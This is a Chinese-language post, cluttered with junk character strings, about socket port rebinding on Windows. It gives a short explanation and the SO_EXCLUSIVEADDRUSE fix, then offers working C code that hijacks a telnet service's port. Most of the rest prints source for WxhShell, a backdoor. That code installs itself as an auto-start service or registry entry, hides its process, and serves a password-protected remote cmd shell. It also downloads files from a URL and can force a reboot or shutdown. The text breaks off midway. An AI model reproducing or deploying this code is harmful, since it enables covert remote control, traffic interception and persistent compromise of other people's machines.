在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wb9(aS4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$e+4Kt
, I=dn]}b#P saddr.sin_family = AF_INET;
{d<XDx4` 0UJ6>Rj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
yf&_l^! f?:=@35 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/ckkqk" %T$>E7]! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3Iqvc v ?5CE<[ 这意味着什么?意味着可以进行如下的攻击:
x%s1)\^A .tKBmq0xo" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Xps
\+l%i &OJ?Za@p@) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hY!ek;/Gc 6~sU[thGW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M@KQOAzt +F q_w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rrz([2E2 l 7uTk5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`Njvk YCE *Dm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$VQ;y|K+[ j_d}?jh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p>eYi \' R`]@.i4tt #include
8x-19# #include
/ fUdb=!Z #include
cWo>DuW& #include
Rd HCb k DWORD WINAPI ClientThread(LPVOID lpParam);
IuP~Vt{m int main()
}j2;B 8j {
t]0DT_iE WORD wVersionRequested;
E} ]=<8V DWORD ret;
#/ePpSyD WSADATA wsaData;
md<^x(h"< BOOL val;
_IdW5G SOCKADDR_IN saddr;
`uMc.:5\ SOCKADDR_IN scaddr;
Q9AvNj>X int err;
vE,^K6q0` SOCKET s;
hBRi5&% SOCKET sc;
L754odc int caddsize;
@]IRB1X HANDLE mt;
cY5;~lO DWORD tid;
C-S>'\|8 wVersionRequested = MAKEWORD( 2, 2 );
k62s|VeU err = WSAStartup( wVersionRequested, &wsaData );
[-[59H[6) if ( err != 0 ) {
C)R hld printf("error!WSAStartup failed!\n");
y;CX)!8 return -1;
= r/8~~= }
,,G"EF0A saddr.sin_family = AF_INET;
?\8 I5E=Ujc_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4Cu\|"5) d:|x e : saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
C{$iuus0 saddr.sin_port = htons(23);
PX/Y?DP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R~iv%+ {
IagM#}m@ printf("error!socket failed!\n");
J*b Je"8 return -1;
]B;`Jf }
OS`jttU@ val = TRUE;
ip<VRC5`5 //SO_REUSEADDR选项就是可以实现端口重绑定的
Wk7E&?-:6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hDTC~~J/ {
.]h/M,xg printf("error!setsockopt failed!\n");
lCUYE"o return -1;
Z8Ig, }
-5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@@^iN~uf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
_ f";zd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B<L7`xL 9tv,,I;iU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
bwhH2 ^ ! {
"[P3b"=gW ret=GetLastError();
n_; s2,2r printf("error!bind failed!\n");
5PZ!ZO& return -1;
>U`G3(#7S }
aL[6}U0 (} listen(s,2);
pl3ap(/ while(1)
Lu6g`O:[' {
B(1-u!pz caddsize = sizeof(scaddr);
O6/ vFEB //接受连接请求
q\?p' i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`XH0S`B if(sc!=INVALID_SOCKET)
Z" ;q w {
L(C`<iE&3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;AJQ2 if(mt==NULL)
8Yk*$RR9 {
@%x2d1FS printf("Thread Creat Failed!\n");
nS3Aadm break;
7^#f)Vp }
pD({"A.x9z }
MhCU;
! CloseHandle(mt);
,DE>:ARZ }
Jn=;gtD-* closesocket(s);
l+ >eb WSACleanup();
JMt*GFd return 0;
8cOft ;|qB }
oDu6W9 + DWORD WINAPI ClientThread(LPVOID lpParam)
%H\J@{f {
6Jq[]l"v SOCKET ss = (SOCKET)lpParam;
,k~' S~w. SOCKET sc;
1UJ rPM% unsigned char buf[4096];
5\z<xpJ SOCKADDR_IN saddr;
8>[g/%W long num;
CnL=s6XD' DWORD val;
PlH~um[J DWORD ret;
-!_8>r;Q4 //如果是隐藏端口应用的话,可以在此处加一些判断
3%?tUt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}~+,x# saddr.sin_family = AF_INET;
8O]`3oa> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z
mip saddr.sin_port = htons(23);
4zS0kk;+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=[]6NjKS, {
$O*@Jg= printf("error!socket failed!\n");
cg3}33Z;6 return -1;
}r@dZBp: }
9}9VZ r? val = 100;
J6s]vV q" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bz_'>6w {
zsJ# CDm ret = GetLastError();
V>T?'GbS return -1;
{>1FZsR49t }
HQ-++;Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ecs 0iW-, {
+`GtZnt# ret = GetLastError();
,9bnR;f\ return -1;
%\<b{x# G }
kd^H}k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
B ktRA {
A/<u>cCW printf("error!socket connect failed!\n");
]7Vg9&1` closesocket(sc);
;9OhK71} closesocket(ss);
edo )W
mn return -1;
x']'ODs }
)
FR7t while(1)
c$ZVvu {
J;obh.}u"{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dW4jkjap //如果是嗅探内容的话,可以再此处进行内容分析和记录
wUCxa>h' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[o#% Eg; num = recv(ss,buf,4096,0);
i$E [@ if(num>0)
T3P9 send(sc,buf,num,0);
*
HKu%g else if(num==0)
%nY\" break;
Pt"H_SW~k num = recv(sc,buf,4096,0);
7m-% if(num>0)
_aPAn|. send(ss,buf,num,0);
=lJ
?yuc else if(num==0)
/jGBQ-X break;
@M"gEeI9 }
)k,n} closesocket(ss);
p@G7}'|eyA closesocket(sc);
nU_O|l9 return 0 ;
5&n{QE?Um }
pjFO0h_Y vv
,4n&D ;_(f(8BO
==========================================================
aL;!BlU8v mcez3gH 下边附上一个代码,,WXhSHELL
JaY"Wfc 12n:)yQy ==========================================================
&Pr\n&9A uAPVR #include "stdafx.h"
:82h GU 2DW@}[G #include <stdio.h>
xrkl)7; #include <string.h>
B}d&tH2^s #include <windows.h>
*vaYI3{qN #include <winsock2.h>
Kn~Rck|
] #include <winsvc.h>
Zl5'%b$& #include <urlmon.h>
bGWfMu=n hN'])[+V #pragma comment (lib, "Ws2_32.lib")
_f[Q\gK #pragma comment (lib, "urlmon.lib")
XH!#_jy KRaL+A #define MAX_USER 100 // 最大客户端连接数
. ImaM #define BUF_SOCK 200 // sock buffer
cFL~<
[>_ #define KEY_BUFF 255 // 输入 buffer
ZkbE&7Z !y_{mE?V( #define REBOOT 0 // 重启
sE"s!s/ #define SHUTDOWN 1 // 关机
/IpCo HK!ecQ^+ #define DEF_PORT 5000 // 监听端口
6$r\p2pi0 Xi&J%N' #define REG_LEN 16 // 注册表键长度
W*C~Xba< #define SVC_LEN 80 // NT服务名长度
I$7eiW @ &-ropY // 从dll定义API
-@#w) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{zFME41>g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
p
u(mHB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F^O83[S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T0w_d_aS lxL5Rit@Px // wxhshell配置信息
KG'i#(u[ struct WSCFG {
6TW7E}a. int ws_port; // 监听端口
n[ B~C char ws_passstr[REG_LEN]; // 口令
3 ~v
1 7 int ws_autoins; // 安装标记, 1=yes 0=no
A0DGDr PD char ws_regname[REG_LEN]; // 注册表键名
/\8Il+0 char ws_svcname[REG_LEN]; // 服务名
T`EV
uRJ char ws_svcdisp[SVC_LEN]; // 服务显示名
*|AQV: char ws_svcdesc[SVC_LEN]; // 服务描述信息
+"?+Be char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o
<q*3L5 int ws_downexe; // 下载执行标记, 1=yes 0=no
V"4Z9Qg} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E8#
>k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;Q;j@yx $`F9e5}G };
K!-OUm5A 79h~w{IT@ // default Wxhshell configuration
e,U:H~+] struct WSCFG wscfg={DEF_PORT,
]Ox5F@ "xuhuanlingzhe",
BR2Gb~#T 1,
po*G`b;v "Wxhshell",
I^?tF'E "Wxhshell",
kU<t~+ "WxhShell Service",
l[}4
X/ "Wrsky Windows CmdShell Service",
c2npma]DZ "Please Input Your Password: ",
tq3_az ~1 1,
;m(iKwDt "
http://www.wrsky.com/wxhshell.exe",
sl]<A[jR "Wxhshell.exe"
E#k{<LYI };
MYAt4cHc2 OR<+y~Rv // 消息定义模块
(@1:1K( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o<`hj&s char *msg_ws_prompt="\n\r? for help\n\r#>";
=gB5JB<}2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^|Q]WHNFB char *msg_ws_ext="\n\rExit.";
":Wq<Z' char *msg_ws_end="\n\rQuit.";
kWzN {]v char *msg_ws_boot="\n\rReboot...";
EbC!tR char *msg_ws_poff="\n\rShutdown...";
>@YefNX6 char *msg_ws_down="\n\rSave to ";
tEhg',2t( ,EB}IG] char *msg_ws_err="\n\rErr!";
z5>I9R^q; char *msg_ws_ok="\n\rOK!";
7>E.0DP K;?D^n. char ExeFile[MAX_PATH];
P-@MLIC{ int nUser = 0;
7zM:z, HANDLE handles[MAX_USER];
"j^i6RS int OsIsNt;
(
ayAP [?!I*=*b SERVICE_STATUS serviceStatus;
6}4})B2 SERVICE_STATUS_HANDLE hServiceStatusHandle;
DP ? dC` Wq1>Bj$J8 // 函数声明
`3+i.wR int Install(void);
g68p9#G int Uninstall(void);
)[Y B& int DownloadFile(char *sURL, SOCKET wsh);
mayJwBfU int Boot(int flag);
lE:g A, void HideProc(void);
#oUNF0L@6 int GetOsVer(void);
VeoG[Jl int Wxhshell(SOCKET wsl);
zCx4DN` void TalkWithClient(void *cs);
f9D e!"*& int CmdShell(SOCKET sock);
l:85 _E int StartFromService(void);
/(N/DMl[ int StartWxhshell(LPSTR lpCmdLine);
isQ(O 'YL[s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FwCb$yE#M VOID WINAPI NTServiceHandler( DWORD fdwControl );
@YJI'Hf67 :D.0\.p // 数据结构和表定义
z|l*5@p SERVICE_TABLE_ENTRY DispatchTable[] =
+ ?1GscJ {
8Lo#{` {wscfg.ws_svcname, NTServiceMain},
f[ ^f/jGm {NULL, NULL}
K+B978XD };
%Sr+D{B x$Dq0FX!%_ // 自我安装
;a:H-iC int Install(void)
)BP*|URc {
K@D\5s|1| char svExeFile[MAX_PATH];
]\$/:f-2 HKEY key;
^t;z;.g strcpy(svExeFile,ExeFile);
wKV4-uyr "W|A^@r} // 如果是win9x系统,修改注册表设为自启动
25^?|9o 7 if(!OsIsNt) {
IPiV_c-l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tXD$HeBB? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4=zs& RegCloseKey(key);
tK#R`AQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K5""%O+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:{lwz#9V RegCloseKey(key);
GIC1]y-' return 0;
"}4%v Zz }
1yy?1&88S }
wX$:NOO }
/ZLY@&M else {
xO~ElzGm / HTY>b // 如果是NT以上系统,安装为系统服务
GD
W@/oQr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gYpMwC{*d if (schSCManager!=0)
Ui{%q@ {
6cQgp]% SC_HANDLE schService = CreateService
KyvZ?R (
Tb/TP3N schSCManager,
M>8J_{r^ wscfg.ws_svcname,
i!wU8@ wscfg.ws_svcdisp,
Szu s*YL7 SERVICE_ALL_ACCESS,
x0*{oP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M `xiC SERVICE_AUTO_START,
EE/mxN(< SERVICE_ERROR_NORMAL,
3a/n/_D svExeFile,
Y.tx$% NULL,
d:H'[l.F% NULL,
l'@-?p(Vuw NULL,
VJh8`PVX NULL,
e~'`x38 NULL
jN=<dq
~ );
P&-o>mM if (schService!=0)
Yo-}uTkw {
H=t"qEp CloseServiceHandle(schService);
XR5KJl CloseServiceHandle(schSCManager);
Xlo7enzY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wb-yAQ8 strcat(svExeFile,wscfg.ws_svcname);
5of3& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H=r-f@EOrI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y4V:)@P RegCloseKey(key);
s0kp(t!fiu return 0;
gT+/nSrLV }
enoj4g7em^ }
i;[y!U CloseServiceHandle(schSCManager);
FhE{khc# }
1v o)]ff }
azcPeAe <N<Q9}`V return 1;
+^)v"@,VP }
/@os*c|je +SJ.BmT // 自我卸载
D$>_W ,*V int Uninstall(void)
,pNx(a {
5pO|^Gj1 HKEY key;
>.h:Y5 ,Z.sGv if(!OsIsNt) {
4
1_gak; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*O?c~UJhhV RegDeleteValue(key,wscfg.ws_regname);
_n&Nw7d2
M RegCloseKey(key);
ngY%T5- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&)eg3P)7 RegDeleteValue(key,wscfg.ws_regname);
(FuIOR RegCloseKey(key);
4<s.|W` return 0;
8~=*\
@^ }
y(A' *G9 }
"4j~2{{F }
@@EI=\ else {
lame/B&nc 'U@o!\=a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(IJNBJb if (schSCManager!=0)
Xtp8^4Va {
1uF$$E6[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8h)XULs2 if (schService!=0)
2*Z2uV^ {
AeJ ;g if(DeleteService(schService)!=0) {
voWH.[n^_ CloseServiceHandle(schService);
BD g]M/{ CloseServiceHandle(schSCManager);
<@<rU:o=V return 0;
J[ds.~ $ }
gN&i&%*! CloseServiceHandle(schService);
V\~. }
#6sz@X fV CloseServiceHandle(schSCManager);
*zfgO pK }
:yay:3qv }
h8rW"8Th Fu7:4+ return 1;
x)5}:b1B= }
dZM^?rq oy+|:[v:Fk // 从指定url下载文件
+2uSMr int DownloadFile(char *sURL, SOCKET wsh)
qA*~B' {
F_-Lu]*
HRESULT hr;
j!;LN)s@? char seps[]= "/";
W{p}N char *token;
LiJYyp char *file;
@sXFu[!U char myURL[MAX_PATH];
_1"
ecaA char myFILE[MAX_PATH];
9hp&HL)BOa yTm
\OUD strcpy(myURL,sURL);
U'jt'( token=strtok(myURL,seps);
.RQra+up while(token!=NULL)
jnH\}IB {
Aq i:h]x file=token;
m0HK1' token=strtok(NULL,seps);
.hTqZvDa }
Q=~"xB8 tjdPia GetCurrentDirectory(MAX_PATH,myFILE);
A2
l?F strcat(myFILE, "\\");
|Q?h"5i"( strcat(myFILE, file);
6Z\ aJ send(wsh,myFILE,strlen(myFILE),0);
'o$j~Mr send(wsh,"...",3,0);
Z:4/lx7Bq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,GbmL8P7Y if(hr==S_OK)
^$c#L1
C return 0;
m_NX[>&Y3 else
T^bAO-d# return 1;
rb?7i&- <O#&D|EMd| }
^BsT>VSH6 *dBy<dIy // 系统电源模块
3bEcKA_z( int Boot(int flag)
y]9R#\P/ {
\i.]-k HANDLE hToken;
>CB-a : TOKEN_PRIVILEGES tkp;
obb%@S` 'Waazk[@O if(OsIsNt) {
K;K0D@>]HR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6Yai?*.Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;?h[WIy tkp.PrivilegeCount = 1;
L G}{ibB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
kR]P/4r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*_V+K if(flag==REBOOT) {
rYUIFPN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$H:!3-/ return 0;
:;?$5h*|` }
2a d|v] else {
2D\pt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LIg1U return 0;
<o EAy }
)&Ii!tm3 }
w OL,L U else {
'|}A/` if(flag==REBOOT) {
*A-_*A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U%3N=M return 0;
6v%yU3l }
mxNd else {
x#{!hL
5G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5K vp% return 0;
'/Aq2 }
@@d_F<Ym[ }
#UGSn:D<i 1NYR8W]2 return 1;
NAYLlW}A }
*d._H1zT '%$Vmf)= // win9x进程隐藏模块
vPkLG*d8 void HideProc(void)
jIh1)*]054 {
/9vi AXyXK?? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
B,b8\\^k| if ( hKernel != NULL )
"Eh=@?]S_ {
ax@H^Gj@2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S-t#d7'B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*-VRkS-G FreeLibrary(hKernel);
eORXyh\K }
k1&9 bgI v,4{:y]p return;
+C~h( }
>Kgw2,y+ q,v<:sS9T // 获取操作系统版本
QM,#:m1o int GetOsVer(void)
{}$9
70y {
-CPtYG[s OSVERSIONINFO winfo;
7x)Pt@c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wAh]C;+{ GetVersionEx(&winfo);
zB.cOMx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
LV}R 9f return 1;
SYJO3cY else
-()WTdIy return 0;
c~0kZA6 }
~aC ?M& W(q3m;n // 客户端句柄模块
'-wmY?ZFxy int Wxhshell(SOCKET wsl)
pcMzLMG< {
!GOaBs SOCKET wsh;
<J509j struct sockaddr_in client;
j>8DaEfwx DWORD myID;
b{0a/&&1O ybaY+![* while(nUser<MAX_USER)
G`!x+FB {
O|Uz)Y94 int nSize=sizeof(client);
c5]Xqq, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~${~To8$CW if(wsh==INVALID_SOCKET) return 1;
OG$n C "'4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e5_Hmuk| if(handles[nUser]==0)
\, R; closesocket(wsh);
EN m%(G$ else
^s~)"2 g nUser++;
"GMU~594 }
ZP";B^J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<83Ky;ry ~ l}f@@u return 0;
!y_FbJ8KC }
9xA4;)36 Hf4_zd // 关闭 socket
o30C\ void CloseIt(SOCKET wsh)
}`=7%b`-? {
e=;A3S closesocket(wsh);
CR4O#f8\ nUser--;
Av x` ExitThread(0);
i'fw>-0 }
Jn+ -G4h$ ?Q:SVxzUd // 客户端请求句柄
Es>' N3A
z void TalkWithClient(void *cs)
6Bq_<3P_ {
5CK+\MK oh5'Isb$ SOCKET wsh=(SOCKET)cs;
sL@\,]Y char pwd[SVC_LEN];
SZGR9/*^ char cmd[KEY_BUFF];
BX_yC=S char chr[1];
ns~]a:1yh int i,j;
?%3dgQB' ; Z:[LJd while (nUser < MAX_USER) {
YsmRY=3 fcq8aW/z_ if(wscfg.ws_passstr) {
HK)m^!= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I\*6
> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%ap(=^|5 //ZeroMemory(pwd,KEY_BUFF);
SkuR~! i=0;
b<FE
while(i<SVC_LEN) {
('x]@ s|%R // 设置超时
x3n9|Uud fd_set FdRead;
"B'c;0@q struct timeval TimeOut;
>0HH#JW FD_ZERO(&FdRead);
WK|5:V8E FD_SET(wsh,&FdRead);
.\_):j* TimeOut.tv_sec=8;
/r4l7K TimeOut.tv_usec=0;
XFWpHe_ L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$;5Q
mKQ' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tW/k EE9w^.3a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`r$7Cc$C pwd
=chr[0]; N.*)-O
if(chr[0]==0xd || chr[0]==0xa) { Kq[4I[+R
pwd=0; I>?oVY6M@u
break; |]-Zz7N)
} q>_<\|?%x
i++; mZ71_4X#
} 36.,:!%p
}MaY:PMA
// 如果是非法用户,关闭 socket WW:G(
\`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ ]9K>}
} _}R9!R0O
Vn5T Jw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7y$\|WG?!r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ((ebSu2-?$
?^VPO%
while(1) { ZR1U&<0c@
FKO2UY#&7
ZeroMemory(cmd,KEY_BUFF); `D ;*.zrA
oU|G74e6
// 自动支持客户端 telnet标准 V'9.l6l
j=0; 4Y(@
KUb
while(j<KEY_BUFF) { iC3z5_g*@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &tH?m;V
cmd[j]=chr[0]; +/[M
Ex=
if(chr[0]==0xa || chr[0]==0xd) { !(lcUdBd
cmd[j]=0; Zv!`R($
break; ` <1Wf
} i"&FW&W
j++; q-! H7o
} >'4A[$$4mM
Ki><~!L
// 下载文件 r
w!jmvHE&
if(strstr(cmd,"http://")) { hDxq9EF
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Au,oX2$
if(DownloadFile(cmd,wsh)) k[@P526
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZ?:$],U!
else JpS}X\]i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JP4DV=}L
} AW5iwq6p
else { G _cJI
F*P0=DD
switch(cmd[0]) { ^;EhKG
$Ivjcs:
// 帮助 8m")
)i-
case '?': { %jtUbBN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w0!$ow.l
break; -;9
}P
} J+/}m}bx
// 安装 Y(Oh7VwY*P
case 'i': { lp}S'^ y
if(Install()) #,tT`{u1q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;TL.QN/l
else ZA="Dac
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8e?/LA%MU
break; 'dwW~4|B
} 6U{A6hH]
// 卸载 T#B#q1/
case 'r': { dJR[9T_OF
if(Uninstall()) sqKx?r72
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wqo:gW_
else VKttJok1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?(8T|i
break; *$=i1w
} LwB1~fF
// 显示 wxhshell 所在路径 mGE!,!s}
case 'p': { h]<S0/
char svExeFile[MAX_PATH]; t^'nh
1=
strcpy(svExeFile,"\n\r"); E !!,JnU
strcat(svExeFile,ExeFile); `/sNX<mp
send(wsh,svExeFile,strlen(svExeFile),0); &D3]O9a0;
break; |<Ls;:5.
} *
BM|luYL
// 重启 vX:}tir[
case 'b': { 9[qOfIny
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d<-f:}^k0
if(Boot(REBOOT)) D;YfQQr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}4&J ^
else { pX%:XpC!h
closesocket(wsh); n%3!)/$
ExitThread(0); | In{5Ek
} l\Ozy
break; egu{}5
} OD)X7PU
// 关机 r~,y3L6ic
case 'd': { /V,xSK9.&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R&cTMd
if(Boot(SHUTDOWN)) vgeqH[:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *aCL/:
else { =d8Rij-
closesocket(wsh); MT/jpx
ExitThread(0); {]>c3=~FQb
} [S'1OR$FQ\
break; Q:q0C
+T
} ?"@Fq2xgB4
// 获取shell +iC:/CJL
case 's': { }T[@G6#
CmdShell(wsh); kx&JY9(
closesocket(wsh); ins(RWO
ExitThread(0); _%Z.Re
break; 5az%yS
} KSs1EmB
// 退出 )|*Qs${tF
case 'x': { d7^
`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v_zt$bf{Y
CloseIt(wsh); q=3>ij{v
break; hwGK),?"+
} :[<Y#EX.
// 离开 O}"oz3H
case 'q': { yx8G9SO?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PMP{|yEx"
closesocket(wsh); 1"y!wsM%
WSACleanup(); "=a3"/u
exit(1); d&^b=d FDu
break; P8m0]T.&x
} jV2H61d
} Z 7@'I0;A
} nZioFE}
0$|VkMq(
// 提示信息 _ &, A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =G}a%)?As\
} [bnu
DS
} ~m=GS[=
THwM',6
return; Q+1ot,R
} %<kfW&_>w
{jD?obs
// shell模块句柄 |it*w\+M
int CmdShell(SOCKET sock) >Cr"q*
{ +c_AAMe
STARTUPINFO si; s{dm,|?Jl,
ZeroMemory(&si,sizeof(si)); <pk*z9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [j@ek
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A}Iyl
PROCESS_INFORMATION ProcessInfo; E6GubU
char cmdline[]="cmd"; <qR$ `mLN
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !IOmJpl'
return 0; 6Y2,fW8i,
} )?[2Y%P
"1s ]74
// 自身启动模式 $2Wk#F2c=
int StartFromService(void) 9we];RYK
{ w}1IP-
typedef struct `)a|Q
{ 4&NB xe
DWORD ExitStatus; TzC(YWt
DWORD PebBaseAddress; \y7?w*K
DWORD AffinityMask; \!-]$&,j4
DWORD BasePriority; 1le9YL1_g
ULONG UniqueProcessId; #:" ]-u^
